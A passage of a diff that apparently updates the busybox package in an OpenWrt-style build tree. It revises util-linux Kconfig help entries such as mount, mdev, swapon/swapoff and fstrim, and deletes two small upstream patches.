-	default BUSYBOX_DEFAULT_FEATURE_NSENTER_LONG_OPTS
-	depends on BUSYBOX_CONFIG_NSENTER && BUSYBOX_CONFIG_LONG_OPTS
-	help
-	  Support long options for the nsenter applet. This makes
-	  the busybox implementation more compatible with upstream.
-config BUSYBOX_CONFIG_REV
-	bool "rev"
-	default BUSYBOX_DEFAULT_REV
-	help
-	  Reverse lines of a file or files.
-config BUSYBOX_CONFIG_SETARCH
-	bool "setarch"
-	default BUSYBOX_DEFAULT_SETARCH
-	select BUSYBOX_CONFIG_PLATFORM_LINUX
-	help
-	  The linux32 utility is used to create a 32bit environment for the
-	  specified program (usually a shell). It only makes sense to have
-	  this util on a system that supports both 64bit and 32bit userland
-	  (like amd64/x86, ppc64/ppc, sparc64/sparc, etc...).
-config BUSYBOX_CONFIG_UEVENT
-	bool "uevent"
-	default BUSYBOX_DEFAULT_UEVENT
-	select BUSYBOX_CONFIG_PLATFORM_LINUX
-	help
-	  uevent is a netlink listener for kernel uevent notifications
-	  sent via netlink. It is usually used for dynamic device creation.
-config BUSYBOX_CONFIG_UNSHARE
-	bool "unshare"
-	default BUSYBOX_DEFAULT_UNSHARE
-	depends on BUSYBOX_CONFIG_LONG_OPTS && !BUSYBOX_CONFIG_NOMMU
-	select BUSYBOX_CONFIG_PLATFORM_LINUX
-	help
-	  Run program with some namespaces unshared from parent.
-
 config BUSYBOX_CONFIG_ACPID
 	bool "acpid"
 	default BUSYBOX_DEFAULT_ACPID
@@ -244,7 +28,11 @@ config BUSYBOX_CONFIG_FEATURE_ACPID_COMPAT
 	depends on BUSYBOX_CONFIG_ACPID
 	help
 	  Accept and ignore compatibility options -g -m -s -S -v.
-
+config BUSYBOX_CONFIG_BLKDISCARD
+	bool "blkdiscard"
+	default BUSYBOX_DEFAULT_BLKDISCARD
+	help
+	  blkdiscard discards sectors on a given device.
 config BUSYBOX_CONFIG_BLKID
 	bool "blkid"
 	default BUSYBOX_DEFAULT_BLKID
@@ -261,7 +49,11 @@ config BUSYBOX_CONFIG_FEATURE_BLKID_TYPE
 	depends on BUSYBOX_CONFIG_BLKID
 	help
 	  Show TYPE="filesystem type"
-
+config BUSYBOX_CONFIG_BLOCKDEV
+	bool "blockdev"
+	default BUSYBOX_DEFAULT_BLOCKDEV
+	help
+	  Performs some ioctls with block devices.
 config BUSYBOX_CONFIG_DMESG
 	bool "dmesg"
 	default BUSYBOX_DEFAULT_DMESG
@@ -295,7 +87,12 @@ config BUSYBOX_CONFIG_FEATURE_DMESG_PRETTY
 	    <5>Linux version 2.6.17.4 .....
 	    <6>BIOS-provided physical RAM map:
 	    <6> BIOS-e820: 0000000000000000 - 000000000009f000 (usable)
-
+config BUSYBOX_CONFIG_FATATTR
+	bool "fatattr"
+	default BUSYBOX_DEFAULT_FATATTR
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  fatattr lists or changes the file attributes on a fat file system.
 config BUSYBOX_CONFIG_FBSET
 	bool "fbset"
 	default BUSYBOX_DEFAULT_FBSET
@@ -324,27 +121,12 @@ config BUSYBOX_CONFIG_FEATURE_FBSET_READMODE
 	  This option allows fbset to read the video mode database stored by
 	  default BUSYBOX_DEFAULT_FEATURE_FBSET_READMODE /etc/fb.modes, which can be used to set frame buffer
 	  device to pre-defined video modes.
-
-config BUSYBOX_CONFIG_FDFLUSH
-	bool "fdflush"
-	default BUSYBOX_DEFAULT_FDFLUSH
-	select BUSYBOX_CONFIG_PLATFORM_LINUX
-	help
-	  fdflush is only needed when changing media on slightly-broken
-	  removable media drives. It is used to make Linux believe that a
-	  hardware disk-change switch has been actuated, which causes Linux to
-	  forget anything it has cached from the previous media. If you have
-	  such a slightly-broken drive, you will need to run fdflush every time
-	  you change a disk. Most people have working hardware and can safely
-	  leave this disabled.
-
 config BUSYBOX_CONFIG_FDFORMAT
 	bool "fdformat"
 	default BUSYBOX_DEFAULT_FDFORMAT
 	select BUSYBOX_CONFIG_PLATFORM_LINUX
 	help
 	  fdformat is used to low-level format a floppy disk.
-
 config BUSYBOX_CONFIG_FDISK
 	bool "fdisk"
 	default BUSYBOX_DEFAULT_FDISK
@@ -421,7 +203,6 @@ config BUSYBOX_CONFIG_FEATURE_FDISK_ADVANCED
 	  define arbitrary drive geometry, move the beginning of data in a
 	  partition, and similarly evil things. Unless you have a very good
 	  reason you would be wise to leave this disabled.
-
 config BUSYBOX_CONFIG_FINDFS
 	bool "findfs"
 	default BUSYBOX_DEFAULT_FINDFS
@@ -431,12 +212,23 @@ config BUSYBOX_CONFIG_FINDFS
 	  Prints the name of a filesystem with given label or UUID.
 	  WARNING:
 	  With all submodules selected, it will add ~8k to busybox.
-
 config BUSYBOX_CONFIG_FLOCK
 	bool "flock"
 	default BUSYBOX_DEFAULT_FLOCK
 	help
 	  Manage locks from shell scripts
+config BUSYBOX_CONFIG_FDFLUSH
+	bool "fdflush"
+	default BUSYBOX_DEFAULT_FDFLUSH
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  fdflush is only needed when changing media on slightly-broken
+	  removable media drives. It is used to make Linux believe that a
+	  hardware disk-change switch has been actuated, which causes Linux to
+	  forget anything it has cached from the previous media. If you have
+	  such a slightly-broken drive, you will need to run fdflush every time
+	  you change a disk. Most people have working hardware and can safely
+	  leave this disabled.
 
 config BUSYBOX_CONFIG_FREERAMDISK
 	bool "freeramdisk"
@@ -449,7 +241,6 @@ config BUSYBOX_CONFIG_FREERAMDISK
 	  pivot_root, you may want to free the memory that is allocated to the
 	  ramdisk. If you have no use for freeing memory from a ramdisk, leave
 	  this disabled.
-
 config BUSYBOX_CONFIG_FSCK_MINIX
 	bool "fsck_minix"
 	default BUSYBOX_DEFAULT_FSCK_MINIX
@@ -460,47 +251,12 @@ config BUSYBOX_CONFIG_FSCK_MINIX
 	  power goes off in the middle of a write. This utility allows you to
 	  check for and attempt to repair any corruption that occurs to a minix
 	  filesystem.
-
-config BUSYBOX_CONFIG_MKFS_EXT2
-	bool "mkfs_ext2"
-	default BUSYBOX_DEFAULT_MKFS_EXT2
-	select BUSYBOX_CONFIG_PLATFORM_LINUX
-	help
-	  Utility to create EXT2 filesystems.
-
-config BUSYBOX_CONFIG_MKFS_MINIX
-	bool "mkfs_minix"
-	default BUSYBOX_DEFAULT_MKFS_MINIX
-	select BUSYBOX_CONFIG_PLATFORM_LINUX
-	help
-	  The minix filesystem is a nice, small, compact, read-write filesystem
-	  with little overhead. If you wish to be able to create minix
-	  filesystems this utility will do the job for you.
-
-config BUSYBOX_CONFIG_FEATURE_MINIX2
-	bool "Support Minix fs v2 (fsck_minix/mkfs_minix)"
-	default BUSYBOX_DEFAULT_FEATURE_MINIX2
-	depends on BUSYBOX_CONFIG_FSCK_MINIX || BUSYBOX_CONFIG_MKFS_MINIX
-	help
-	  If you wish to be able to create version 2 minix filesystems, enable
-	  this. If you enabled 'mkfs_minix' then you almost certainly want to
-	  be using the version 2 filesystem support.
-
-config BUSYBOX_CONFIG_MKFS_REISER
-	bool "mkfs_reiser"
-	default BUSYBOX_DEFAULT_MKFS_REISER
-	select BUSYBOX_CONFIG_PLATFORM_LINUX
-	help
-	  Utility to create ReiserFS filesystems.
-	  Note: this applet needs a lot of testing and polishing.
-
-config BUSYBOX_CONFIG_MKFS_VFAT
-	bool "mkfs_vfat"
-	default BUSYBOX_DEFAULT_MKFS_VFAT
+config BUSYBOX_CONFIG_FSTRIM
+	bool "fstrim"
+	default BUSYBOX_DEFAULT_FSTRIM
 	select BUSYBOX_CONFIG_PLATFORM_LINUX
-	help
-	  Utility to create FAT32 filesystems.
-
+	help
+	  Discard unused blocks on a mounted filesystem.
 config BUSYBOX_CONFIG_GETOPT
 	bool "getopt"
 	default BUSYBOX_DEFAULT_GETOPT
@@ -518,7 +274,6 @@ config BUSYBOX_CONFIG_FEATURE_GETOPT_LONG
 	depends on BUSYBOX_CONFIG_GETOPT
 	help
 	  Enable support for long options (option -l).
-
 config BUSYBOX_CONFIG_HEXDUMP
 	bool "hexdump"
 	default BUSYBOX_DEFAULT_HEXDUMP
@@ -539,10 +294,8 @@ config BUSYBOX_CONFIG_FEATURE_HEXDUMP_REVERSE
 config BUSYBOX_CONFIG_HD
 	bool "hd"
 	default BUSYBOX_DEFAULT_HD
-	depends on BUSYBOX_CONFIG_HEXDUMP
 	help
 	  hd is an alias to hexdump -C.
-
 config BUSYBOX_CONFIG_HWCLOCK
 	bool "hwclock"
 	default BUSYBOX_DEFAULT_HWCLOCK
@@ -573,7 +326,6 @@ config BUSYBOX_CONFIG_FEATURE_HWCLOCK_ADJTIME_FHS
 	  classic /etc/adjtime path.
 
 	  pathname.com/fhs/pub/fhs-2.3.html#VARLIBHWCLOCKSTATEDIRECTORYFORHWCLO
-
 config BUSYBOX_CONFIG_IPCRM
 	bool "ipcrm"
 	default BUSYBOX_DEFAULT_IPCRM
@@ -581,7 +333,6 @@ config BUSYBOX_CONFIG_IPCRM
 	  The ipcrm utility allows the removal of System V interprocess
 	  communication (IPC) objects and the associated data structures
 	  from the system.
-
 config BUSYBOX_CONFIG_IPCS
 	bool "ipcs"
 	default BUSYBOX_DEFAULT_IPCS
@@ -589,7 +340,6 @@ config BUSYBOX_CONFIG_IPCS
 	help
 	  The ipcs utility is used to provide information on the currently
 	  allocated System V interprocess (IPC) objects in the system.
-
 config BUSYBOX_CONFIG_LOSETUP
 	bool "losetup"
 	default BUSYBOX_DEFAULT_LOSETUP
@@ -598,7 +348,6 @@ config BUSYBOX_CONFIG_LOSETUP
 	  losetup is used to associate or detach a loop device with a regular
 	  file or block device, and to query the status of a loop device. This
 	  version does not currently support enabling data encryption.
-
 config BUSYBOX_CONFIG_LSPCI
 	bool "lspci"
 	default BUSYBOX_DEFAULT_LSPCI
@@ -608,7 +357,6 @@ config BUSYBOX_CONFIG_LSPCI
 	  system and devices connected to them.
 
 	  This version uses sysfs (/sys/bus/pci/devices) only.
-
 config BUSYBOX_CONFIG_LSUSB
 	bool "lsusb"
 	default BUSYBOX_DEFAULT_LSUSB
@@ -618,7 +366,113 @@ config BUSYBOX_CONFIG_LSUSB
 	  system and devices connected to them.
 
 	  This version uses sysfs (/sys/bus/usb/devices) only.
+config BUSYBOX_CONFIG_MDEV
+	bool "mdev"
+	default BUSYBOX_DEFAULT_MDEV
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  mdev is a mini-udev implementation for dynamically creating device
+	  nodes in the /dev directory.
+
+	  For more information, please see docs/mdev.txt
+
+config BUSYBOX_CONFIG_FEATURE_MDEV_CONF
+	bool "Support /etc/mdev.conf"
+	default BUSYBOX_DEFAULT_FEATURE_MDEV_CONF
+	depends on BUSYBOX_CONFIG_MDEV
+	help
+	  Add support for the mdev config file to control ownership and
+	  permissions of the device nodes.
+
+	  For more information, please see docs/mdev.txt
+
+config BUSYBOX_CONFIG_FEATURE_MDEV_RENAME
+	bool "Support subdirs/symlinks"
+	default BUSYBOX_DEFAULT_FEATURE_MDEV_RENAME
+	depends on BUSYBOX_CONFIG_FEATURE_MDEV_CONF
+	help
+	  Add support for renaming devices and creating symlinks.
+
+	  For more information, please see docs/mdev.txt
+
+config BUSYBOX_CONFIG_FEATURE_MDEV_RENAME_REGEXP
+	bool "Support regular expressions substitutions when renaming device"
+	default BUSYBOX_DEFAULT_FEATURE_MDEV_RENAME_REGEXP
+	depends on BUSYBOX_CONFIG_FEATURE_MDEV_RENAME
+	help
+	  Add support for regular expressions substitutions when renaming
+	  device.
+
+config BUSYBOX_CONFIG_FEATURE_MDEV_EXEC
+	bool "Support command execution at device addition/removal"
+	default BUSYBOX_DEFAULT_FEATURE_MDEV_EXEC
+	depends on BUSYBOX_CONFIG_FEATURE_MDEV_CONF
+	help
+	  This adds support for an optional field to /etc/mdev.conf for
+	  executing commands when devices are created/removed.
+
+	  For more information, please see docs/mdev.txt
+
+config BUSYBOX_CONFIG_FEATURE_MDEV_LOAD_FIRMWARE
+	bool "Support loading of firmwares"
+	default BUSYBOX_DEFAULT_FEATURE_MDEV_LOAD_FIRMWARE
+	depends on BUSYBOX_CONFIG_MDEV
+	help
+	  Some devices need to load firmware before they can be usable.
+
+	  These devices will request userspace look up the files in
+	  /lib/firmware/ and if it exists, send it to the kernel for
+	  loading into the hardware.
+config BUSYBOX_CONFIG_MKE2FS
+	bool "mke2fs"
+	default BUSYBOX_DEFAULT_MKE2FS
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  Utility to create EXT2 filesystems.
+
+config BUSYBOX_CONFIG_MKFS_EXT2
+	bool "mkfs.ext2"
+	default BUSYBOX_DEFAULT_MKFS_EXT2
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  Alias to "mke2fs".
+config BUSYBOX_CONFIG_MKFS_MINIX
+	bool "mkfs_minix"
+	default BUSYBOX_DEFAULT_MKFS_MINIX
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  The minix filesystem is a nice, small, compact, read-write filesystem
+	  with little overhead. If you wish to be able to create minix
+	  filesystems this utility will do the job for you.
+
+config BUSYBOX_CONFIG_FEATURE_MINIX2
+	bool "Support Minix fs v2 (fsck_minix/mkfs_minix)"
+	default BUSYBOX_DEFAULT_FEATURE_MINIX2
+	depends on BUSYBOX_CONFIG_FSCK_MINIX || BUSYBOX_CONFIG_MKFS_MINIX
+	help
+	  If you wish to be able to create version 2 minix filesystems, enable
+	  this. If you enabled 'mkfs_minix' then you almost certainly want to
+	  be using the version 2 filesystem support.
+config BUSYBOX_CONFIG_MKFS_REISER
+	bool "mkfs_reiser"
+	default BUSYBOX_DEFAULT_MKFS_REISER
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  Utility to create ReiserFS filesystems.
+	  Note: this applet needs a lot of testing and polishing.
+config BUSYBOX_CONFIG_MKDOSFS
+	bool "mkdosfs"
+	default BUSYBOX_DEFAULT_MKDOSFS
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  Utility to create FAT32 filesystems.
 
+config BUSYBOX_CONFIG_MKFS_VFAT
+	bool "mkfs.vfat"
+	default BUSYBOX_DEFAULT_MKFS_VFAT
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  Alias to "mkdosfs".
 config BUSYBOX_CONFIG_MKSWAP
 	bool "mkswap"
 	default BUSYBOX_DEFAULT_MKSWAP
@@ -638,7 +492,6 @@ config BUSYBOX_CONFIG_FEATURE_MKSWAP_UUID
 	depends on BUSYBOX_CONFIG_MKSWAP
 	help
 	  Generate swap spaces with universally unique identifiers.
-
 config BUSYBOX_CONFIG_MORE
 	bool "more"
 	default BUSYBOX_DEFAULT_MORE
@@ -648,7 +501,114 @@ config BUSYBOX_CONFIG_MORE
 	  the screen, and you are using anything faster than a 300 baud modem,
 	  you will probably find this utility very helpful. If you don't have
 	  any need to reading text files, you can leave this disabled.
+config BUSYBOX_CONFIG_MOUNT
+	bool "mount"
+	default BUSYBOX_DEFAULT_MOUNT
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  All files and filesystems in Unix are arranged into one big directory
+	  tree. The 'mount' utility is used to graft a filesystem onto a
+	  particular part of the tree. A filesystem can either live on a block
+	  device, or it can be accessible over the network, as is the case with
+	  NFS filesystems. Most people using BusyBox will also want to enable
+	  the 'mount' utility.
+
+config BUSYBOX_CONFIG_FEATURE_MOUNT_FAKE
+	bool "Support option -f"
+	default BUSYBOX_DEFAULT_FEATURE_MOUNT_FAKE
+	depends on BUSYBOX_CONFIG_MOUNT
+	help
+	  Enable support for faking a file system mount.
+
+config BUSYBOX_CONFIG_FEATURE_MOUNT_VERBOSE
+	bool "Support option -v"
+	default BUSYBOX_DEFAULT_FEATURE_MOUNT_VERBOSE
+	depends on BUSYBOX_CONFIG_MOUNT
+	help
+	  Enable multi-level -v[vv...] verbose messages. Useful if you
+	  debug mount problems and want to see what is exactly passed
+	  to the kernel.
+
+config BUSYBOX_CONFIG_FEATURE_MOUNT_HELPERS
+	bool "Support mount helpers"
+	default BUSYBOX_DEFAULT_FEATURE_MOUNT_HELPERS
+	depends on BUSYBOX_CONFIG_MOUNT
+	help
+	  Enable mounting of virtual file systems via external helpers.
+	  E.g. "mount obexfs#-b00.11.22.33.44.55 /mnt" will in effect call
+	  "obexfs -b00.11.22.33.44.55 /mnt"
+	  Also "mount -t sometype [-o opts] fs /mnt" will try
+	  "sometype [-o opts] fs /mnt" if simple mount syscall fails.
+	  The idea is to use such virtual filesystems in /etc/fstab.
+
+config BUSYBOX_CONFIG_FEATURE_MOUNT_LABEL
+	bool "Support specifying devices by label or UUID"
+	default BUSYBOX_DEFAULT_FEATURE_MOUNT_LABEL
+	depends on BUSYBOX_CONFIG_MOUNT
+	select BUSYBOX_CONFIG_VOLUMEID
+	help
+	  This allows for specifying a device by label or uuid, rather than by
+	  name. This feature utilizes the same functionality as blkid/findfs.
+	  This also enables label or uuid support for swapon.
+
+config BUSYBOX_CONFIG_FEATURE_MOUNT_NFS
+	bool "Support mounting NFS file systems on Linux < 2.6.23"
+	default BUSYBOX_DEFAULT_FEATURE_MOUNT_NFS
+	depends on BUSYBOX_CONFIG_MOUNT
+	select BUSYBOX_CONFIG_FEATURE_HAVE_RPC
+	select BUSYBOX_CONFIG_FEATURE_SYSLOG
+	help
+	  Enable mounting of NFS file systems on Linux kernels prior
+	  to version 2.6.23. Note that in this case mounting of NFS
+	  over IPv6 will not be possible.
+
+	  Note that this option links in RPC support from libc,
+	  which is rather large (~10 kbytes on uclibc).
+
+config BUSYBOX_CONFIG_FEATURE_MOUNT_CIFS
+	bool "Support mounting CIFS/SMB file systems"
+	default BUSYBOX_DEFAULT_FEATURE_MOUNT_CIFS
+	depends on BUSYBOX_CONFIG_MOUNT
+	help
+	  Enable support for samba mounts.
+
+config BUSYBOX_CONFIG_FEATURE_MOUNT_FLAGS
+	depends on BUSYBOX_CONFIG_MOUNT
+	bool "Support lots of -o flags in mount"
+	default BUSYBOX_DEFAULT_FEATURE_MOUNT_FLAGS
+	help
+	  Without this, mount only supports ro/rw/remount. With this, it
+	  supports nosuid, suid, dev, nodev, exec, noexec, sync, async, atime,
+	  noatime, diratime, nodiratime, loud, bind, move, shared, slave,
+	  private, unbindable, rshared, rslave, rprivate, and runbindable.
+
+config BUSYBOX_CONFIG_FEATURE_MOUNT_FSTAB
+	depends on BUSYBOX_CONFIG_MOUNT
+	bool "Support /etc/fstab and -a"
+	default BUSYBOX_DEFAULT_FEATURE_MOUNT_FSTAB
+	help
+	  Support mount all and looking for files in /etc/fstab.
+
+config BUSYBOX_CONFIG_FEATURE_MOUNT_OTHERTAB
+	depends on BUSYBOX_CONFIG_FEATURE_MOUNT_FSTAB
+	bool "Support -T <alt_fstab>"
+	default BUSYBOX_DEFAULT_FEATURE_MOUNT_OTHERTAB
+	help
+	  Support mount -T (specifying an alternate fstab)
+config BUSYBOX_CONFIG_NSENTER
+	bool "nsenter"
+	default BUSYBOX_DEFAULT_NSENTER
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  Run program with namespaces of other processes.
 
+config BUSYBOX_CONFIG_FEATURE_NSENTER_LONG_OPTS
+	bool "Enable long options"
+	default BUSYBOX_DEFAULT_FEATURE_NSENTER_LONG_OPTS
+	depends on BUSYBOX_CONFIG_NSENTER && BUSYBOX_CONFIG_LONG_OPTS
+	help
+	  Support long options for the nsenter applet. This makes
+	  the busybox implementation more compatible with upstream.
 config BUSYBOX_CONFIG_PIVOT_ROOT
 	bool "pivot_root"
 	default BUSYBOX_DEFAULT_PIVOT_ROOT
@@ -661,7 +621,6 @@ config BUSYBOX_CONFIG_PIVOT_ROOT
 
 	  Note: This is for initrd in linux 2.4. Under initramfs (introduced
 	  in linux 2.6) use switch_root instead.
-
 config BUSYBOX_CONFIG_RDATE
 	bool "rdate"
 	default BUSYBOX_DEFAULT_RDATE
@@ -670,46 +629,68 @@ config BUSYBOX_CONFIG_RDATE
 	  system clock with the date and time of a remote networked system using
 	  the RFC868 protocol, which is built into the inetd daemon on most
 	  systems.
-
 config BUSYBOX_CONFIG_RDEV
 	bool "rdev"
 	default BUSYBOX_DEFAULT_RDEV
 	help
 	  Print the device node associated with the filesystem mounted at '/'.
-
 config BUSYBOX_CONFIG_READPROFILE
 	bool "readprofile"
 	default BUSYBOX_DEFAULT_READPROFILE
 	#select PLATFORM_LINUX
 	help
 	  This allows you to parse /proc/profile for basic profiling.
-
+config BUSYBOX_CONFIG_REV
+	bool "rev"
+	default BUSYBOX_DEFAULT_REV
+	help
+	  Reverse lines of a file or files.
 config BUSYBOX_CONFIG_RTCWAKE
 	bool "rtcwake"
 	default BUSYBOX_DEFAULT_RTCWAKE
 	select BUSYBOX_CONFIG_PLATFORM_LINUX
 	help
 	  Enter a system sleep state until specified wakeup time.
-
 config BUSYBOX_CONFIG_SCRIPT
 	bool "script"
 	default BUSYBOX_DEFAULT_SCRIPT
 	help
 	  The script makes typescript of terminal session.
-
 config BUSYBOX_CONFIG_SCRIPTREPLAY
 	bool "scriptreplay"
 	default BUSYBOX_DEFAULT_SCRIPTREPLAY
 	help
 	  This program replays a typescript, using timing information
 	  given by script -t.
+config BUSYBOX_CONFIG_SETARCH
+	bool "setarch"
+	default BUSYBOX_DEFAULT_SETARCH
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  The linux32 utility is used to create a 32bit environment for the
+	  specified program (usually a shell). It only makes sense to have
+	  this util on a system that supports both 64bit and 32bit userland
+	  (like amd64/x86, ppc64/ppc, sparc64/sparc, etc...).
+
+config BUSYBOX_CONFIG_LINUX32
+	bool "linux32"
+	default BUSYBOX_DEFAULT_LINUX32
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  Alias to "setarch linux32".
 
-config BUSYBOX_CONFIG_SWAPONOFF
-	bool "swaponoff"
-	default BUSYBOX_DEFAULT_SWAPONOFF
+config BUSYBOX_CONFIG_LINUX64
+	bool "linux64"
+	default BUSYBOX_DEFAULT_LINUX64
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  Alias to "setarch linux64".
+config BUSYBOX_CONFIG_SWAPON
+	bool "swapon"
+	default BUSYBOX_DEFAULT_SWAPON
 	select BUSYBOX_CONFIG_PLATFORM_LINUX
 	help
-	  This option enables both the 'swapon' and the 'swapoff' utilities.
+	  This option enables the 'swapon' utility.
 	  Once you have created some swap space using 'mkswap', you also need
 	  to enable your swap space with the 'swapon' utility. The 'swapoff'
 	  utility is used, typically at system shutdown, to disable any swap
@@ -719,7 +700,7 @@ config BUSYBOX_CONFIG_SWAPONOFF
 config BUSYBOX_CONFIG_FEATURE_SWAPON_DISCARD
 	bool "Support discard option -d"
 	default BUSYBOX_DEFAULT_FEATURE_SWAPON_DISCARD
-	depends on BUSYBOX_CONFIG_SWAPONOFF
+	depends on BUSYBOX_CONFIG_SWAPON
 	help
 	  Enable support for discarding swap area blocks at swapon and/or as
 	  the kernel frees them. This option enables both the -d option on
@@ -728,10 +709,16 @@ config BUSYBOX_CONFIG_FEATURE_SWAPON_DISCARD
 config BUSYBOX_CONFIG_FEATURE_SWAPON_PRI
 	bool "Support priority option -p"
 	default BUSYBOX_DEFAULT_FEATURE_SWAPON_PRI
-	depends on BUSYBOX_CONFIG_SWAPONOFF
+	depends on BUSYBOX_CONFIG_SWAPON
 	help
 	  Enable support for setting swap device priority in swapon.
 
+config BUSYBOX_CONFIG_SWAPOFF
+	bool "swapoff"
+	default BUSYBOX_DEFAULT_SWAPOFF
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  This option enables the 'swapoff' utility.
 config BUSYBOX_CONFIG_SWITCH_ROOT
 	bool "switch_root"
 	default BUSYBOX_DEFAULT_SWITCH_ROOT
@@ -751,7 +738,13 @@ config BUSYBOX_CONFIG_SWITCH_ROOT
 	  * Because the Linux kernel uses rootfs internally as the starting
 	  and ending point for searching through the kernel's doubly linked
 	  list of active mount points. That's why.
-
+config BUSYBOX_CONFIG_UEVENT
+	bool "uevent"
+	default BUSYBOX_DEFAULT_UEVENT
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  uevent is a netlink listener for kernel uevent notifications
+	  sent via netlink. It is usually used for dynamic device creation.
 config BUSYBOX_CONFIG_UMOUNT
 	bool "umount"
 	default BUSYBOX_DEFAULT_UMOUNT
@@ -768,6 +761,13 @@ config BUSYBOX_CONFIG_FEATURE_UMOUNT_ALL
 	depends on BUSYBOX_CONFIG_UMOUNT
 	help
 	  Support -a option to unmount all currently mounted filesystems.
+config BUSYBOX_CONFIG_UNSHARE
+	bool "unshare"
+	default BUSYBOX_DEFAULT_UNSHARE
+	depends on BUSYBOX_CONFIG_LONG_OPTS && !BUSYBOX_CONFIG_NOMMU
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  Run program with some namespaces unshared from parent.
 
 comment "Common options for mount/umount"
 	depends on BUSYBOX_CONFIG_MOUNT || BUSYBOX_CONFIG_UMOUNT
diff --git a/package/utils/busybox/config/util-linux/volume_id/Config.in b/package/utils/busybox/config/util-linux/volume_id/Config.in
index 6153314..49a5785 100644
--- a/package/utils/busybox/config/util-linux/volume_id/Config.in
+++ b/package/utils/busybox/config/util-linux/volume_id/Config.in
@@ -189,6 +189,15 @@ config BUSYBOX_CONFIG_FEATURE_VOLUMEID_SYSV
 	  TODO
 
 
+config BUSYBOX_CONFIG_FEATURE_VOLUMEID_UBIFS
+	bool "UBIFS filesystem"
+	default BUSYBOX_DEFAULT_FEATURE_VOLUMEID_UBIFS
+	depends on BUSYBOX_CONFIG_VOLUMEID
+	help
+	  UBIFS (Unsorted Block Image File System) is a file
+	  system for use with raw flash memory media.
+
+
 config BUSYBOX_CONFIG_FEATURE_VOLUMEID_UDF
 	bool "udf filesystem"
 	default BUSYBOX_DEFAULT_FEATURE_VOLUMEID_UDF
diff --git a/package/utils/busybox/patches/002-libbb-send_to_from-do-not-require-that-to-should-hav.patch b/package/utils/busybox/patches/002-libbb-send_to_from-do-not-require-that-to-should-hav.patch
deleted file mode 100644
index f33c3b2..0000000
--- a/package/utils/busybox/patches/002-libbb-send_to_from-do-not-require-that-to-should-hav.patch
+++ /dev/null
@@ -1,37 +0,0 @@
-From 7cef4817d6d6d61a1166ed7dfc13537b95c65970 Mon Sep 17 00:00:00 2001
-From: Denys Vlasenko <vda.linux at googlemail.com>
-Date: Thu, 15 Sep 2016 13:20:51 +0200
-Subject: [PATCH] libbb:/send_to_from: do not require that "to" should have the
- same AF. Closes 9146
-
-Signed-off-by: Denys Vlasenko <vda.linux at googlemail.com>
----
- libbb/udp_io.c | 10 ++++++++--
- 1 file changed, 8 insertions(+), 2 deletions(-)
-
---- a/libbb/udp_io.c
-+++ b/libbb/udp_io.c
-@@ -70,7 +70,13 @@ send_to_from(int fd, void *buf, size_t l
- 	msg.msg_flags = flags;
- 
- 	cmsgptr = CMSG_FIRSTHDR(&msg);
--	if (to->sa_family == AF_INET && from->sa_family == AF_INET) {
-+	/*
-+	 * Users report that to->sa_family can be AF_INET6 too,
-+	 * if "to" was acquired by recv_from_to(). IOW: recv_from_to()
-+	 * was seen showing IPv6 "from" even when the destination
-+	 * of received packet (our local address) was IPv4.
-+	 */
-+	if (/* to->sa_family == AF_INET && */ from->sa_family == AF_INET) {
- 		struct in_pktinfo *pktptr;
- 		cmsgptr->cmsg_level = IPPROTO_IP;
- 		cmsgptr->cmsg_type = IP_PKTINFO;
-@@ -86,7 +92,7 @@ send_to_from(int fd, void *buf, size_t l
- 		pktptr->ipi_spec_dst = ((struct sockaddr_in*)from)->sin_addr;
- 	}
- # if ENABLE_FEATURE_IPV6 && defined(IPV6_PKTINFO)
--	else if (to->sa_family == AF_INET6 && from->sa_family == AF_INET6) {
-+	else if (/* to->sa_family == AF_INET6 && */ from->sa_family == AF_INET6) {
- 		struct in6_pktinfo *pktptr;
- 		cmsgptr->cmsg_level = IPPROTO_IPV6;
- 		cmsgptr->cmsg_type = IPV6_PKTINFO;
diff --git a/package/utils/busybox/patches/102-trylink_mktemp_fix.patch b/package/utils/busybox/patches/102-trylink_mktemp_fix.patch
deleted file mode 100644
index ed1dcbb..0000000
--- a/package/utils/busybox/patches/102-trylink_mktemp_fix.patch
+++ /dev/null
@@ -1,20 +0,0 @@
---- a/scripts/trylink
-+++ b/scripts/trylink
-@@ -46,7 +46,7 @@ try() {
- }
- 
- check_cc() {
--    local tempname="$(mktemp)"
-+    local tempname="$(mktemp /tmp/tmp.XXXXXXXXXX)"
-     local r
-     echo "int main(int argc,char**argv){return argv?argc:0;}" >"$tempname".c
-     # Can use "-o /dev/null", but older gcc tend to *unlink it* on failure! :(
-@@ -61,7 +61,7 @@ check_cc() {
- }
- 
- check_libc_is_glibc() {
--    local tempname="$(mktemp)"
-+    local tempname="$(mktemp /tmp/tmp.XXXXXXXXXX)"
-     local r
-     echo "\
- 	#include <stdlib.h>
diff --git a/package/utils/busybox/patches/120-remove_uclibc_rpc_check.patch b/package/utils/busybox/patches/120-remove_uclibc_rpc_check.patch
index 4825bc8..682a68e 100644
--- a/package/utils/busybox/patches/120-remove_uclibc_rpc_check.patch
+++ b/package/utils/busybox/patches/120-remove_uclibc_rpc_check.patch
@@ -1,6 +1,6 @@
 --- a/util-linux/mount.c
 +++ b/util-linux/mount.c
-@@ -237,9 +237,6 @@
+@@ -245,9 +245,6 @@
  #if ENABLE_FEATURE_MOUNT_NFS
  /* This is just a warning of a common mistake.  Possibly this should be a
   * uclibc faq entry rather than in busybox... */
diff --git a/package/utils/busybox/patches/200-udhcpc_reduce_msgs.patch b/package/utils/busybox/patches/200-udhcpc_reduce_msgs.patch
index 0fdaed5..8ef8f22 100644
